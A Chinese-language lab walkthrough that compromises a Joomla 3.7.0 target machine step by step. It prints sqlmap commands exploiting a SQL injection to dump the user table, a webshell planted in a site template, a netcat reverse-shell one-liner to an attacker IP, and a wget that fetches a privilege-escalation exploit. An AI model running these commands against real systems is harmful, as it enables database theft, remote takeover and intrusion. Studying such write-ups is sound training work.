明确目标
找出靶机的最终flag
信息收集
查找出靶机IP地址,利用nmap或者arp -scan -l扫描存活主机
漏洞探测
- 利用nmap查看靶机相关信息,nmap -A -p- 192.168.221.132 (-A是激进扫描,实战中慎用!-p-是快速扫描全部端口信息)
发现joomla 内容管理系统(Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统) - 这里发现端口开放,80(http服务)
- 尝试访问http服务
漏洞利用
- 现在针对这个内容管理系统下手,使用针对于这类cms的扫描工具,发现版本为3.7.0,还有一个管理员页面
- 使用漏洞查找工具,查找当前版本的漏洞
找一下该利用脚本的位置
利用代码,使用sqlmap - sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查询存在那些数据库 - 查看一下当前数据库 -current-db 为joomladb
- 查询当前数据库下面的表有哪些
sqlmap -u "http://192.168.221.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] - 查询users表下面有哪些字段
sqlmap -u "http://192.168.221.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering] - 查询name,password的数据
sqlmap -u "http://192.168.221.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering] - 发现admin密码为$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,不知道是什么密文,用john破解一下,把密码文件放在txt文件里面,john xx.txt ,如果想查看破解过的密码可以加上 --show
- 用该密码来登录admin后台
翻看内容找到模板templates - 找到网站默认页面文件index.php插入一句话木马(提前验证代码是否可以被执行)
- 用weevely连接
- 反弹shell,获取更大的权限,攻击端监听一个端口,nc -lvp 6666
shell 界面执行 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.221.129 6666 >/tmp/f - 权限不够,提权,查找searchsploit Linux 4.4 Ubuntu 16
- 发现拒绝服务漏洞,查找漏洞地址 searchsploit -p 39772.txt
查看漏洞说明,下载exp文件
连接不上 - 下载过后到靶机执行,无法访问国外网站的话可以其他地方下载到kali,然后使用kali建立一个apache2服务,把下载的zip文件放在var/www/html下面,靶机wget http://192.168.221.129/39772.zip 然后解压执行./
总结
- 信息收集很重要,要对渗透的靶机做全面的信息收集,这里就发现了网站使用的cms,从这一突破口下手查找针对该cms的漏洞,熟练使用针对与各类cms的漏洞检测工具joomscan、wpscan等
- 学会使用kali searchsploit 去寻找历史漏洞
- sqlmap的使用
- 使用John去爆破密码
- Weevely 的使用 weevely generate 1234 webshell.php 生成木马文件
- 反弹shell(通常用于被控端因防火墙受限、权限不足、端口被占用等情形,让被控端主动连接攻击端,把命令行输入输出到攻击端)
- 使用工具查找对应系统版本漏洞提权
- 要多转变思路!!